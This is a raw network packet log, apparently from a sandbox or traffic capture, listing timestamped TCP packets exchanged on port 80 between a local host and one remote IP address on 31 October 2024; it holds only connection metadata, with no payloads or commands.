Oct 31, 2024 02:09:15.136917114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136929989 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136939049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136951923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136964083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.136970043 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.136977911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137012005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137020111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137028933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137042999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137056112 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137070894 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137079000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137087107 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137099981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137109041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137123108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137135983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137149096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137161970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137190104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137234926 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137249947 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.137300014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.137300014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.159660101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.159692049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.159706116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.159723997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.159748077 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171611071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171627045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171641111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171655893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171670914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171672106 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171705008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171714067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171720028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171736956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171751976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171763897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171787024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171794891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171802998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171833038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171834946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171849012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171870947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171880007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171891928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171891928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171915054 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171930075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171931982 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171942949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171955109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.171958923 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171972990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.171988964 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.172023058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.183165073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.183212996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.183226109 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.183247089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.183289051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.183455944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.183480978 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.183495998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.183521986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.183564901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.186527014 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186544895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186558962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186594963 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.186623096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.186801910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186852932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186865091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186886072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186899900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.186901093 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186916113 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.186929941 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.186954021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187338114 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187352896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187367916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187382936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187401056 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187403917 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187418938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187422991 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187438011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187455893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187458992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187474012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187482119 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187488079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187489033 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187508106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187522888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187524080 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187546968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187556982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187563896 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187571049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187585115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187597990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187599897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187607050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187621117 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187622070 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187634945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187644005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187650919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187666893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187678099 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187696934 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187716007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187726021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187757015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187771082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187792063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187800884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187804937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187819958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.187834024 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187853098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.187880993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188302040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188354969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188361883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188375950 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188405991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188407898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188421011 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188426971 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188435078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188447952 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188466072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188467026 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188488007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188493013 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188505888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188507080 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188549995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188571930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188607931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188616037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188621044 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188642025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188652992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188657045 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188682079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188688993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188728094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188747883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188760996 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188775063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188790083 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188802958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188812017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188818932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188832045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188832998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188864946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188884020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188884020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188899040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188914061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188935995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.188942909 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.188970089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189002037 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189152956 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189165115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189181089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189203978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189212084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189224958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189238071 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189239025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189256907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189256907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189271927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189285040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189291000 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189302921 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189316988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189321041 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189331055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.189348936 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189356089 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.189388990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224600077 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224668980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224684954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224699020 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224713087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224730968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224739075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224745989 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224760056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224785089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224792957 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224817038 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224848032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224857092 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224905014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224929094 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224944115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224957943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.224975109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.224993944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225002050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.225011110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225027084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225043058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.225043058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225058079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225070953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225075960 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.225306034 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225322008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225344896 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.225346088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.225346088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.225374937 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.225406885 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239408016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239451885 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239469051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239485979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239512920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239521980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239537001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239576101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239576101 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239608049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239610910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239624023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239656925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239671946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239717960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239733934 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239748001 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239763021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239778996 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239810944 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239875078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239887953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239928961 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.239959002 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239983082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.239999056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240008116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240014076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240042925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240073919 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240145922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240160942 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240175962 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240216970 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240240097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240252018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240252972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240297079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240308046 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240341902 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240365028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240379095 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240395069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240412951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240447998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240519047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240534067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240545988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240569115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240588903 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240608931 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240622997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240629911 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240660906 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240678072 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240681887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240696907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240727901 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240745068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240746021 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240760088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240782976 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240812063 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240842104 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240871906 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240886927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240907907 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240922928 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240936995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240942001 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240952015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240967035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.240977049 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.240995884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.241018057 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.241045952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.241058111 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.241065979 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.241080046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.241111994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.241199017 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.241236925 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251148939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251163960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251198053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251200914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251211882 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251228094 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251233101 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251246929 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251274109 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251275063 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251287937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251306057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251317978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251324892 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251338005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251342058 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251358032 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251363039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251374960 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251375914 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251385927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251389027 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251399040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251411915 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:15.251415014 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251450062 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:15.251457930 CET	80	49982	154.216.17.34	192.168.2.5
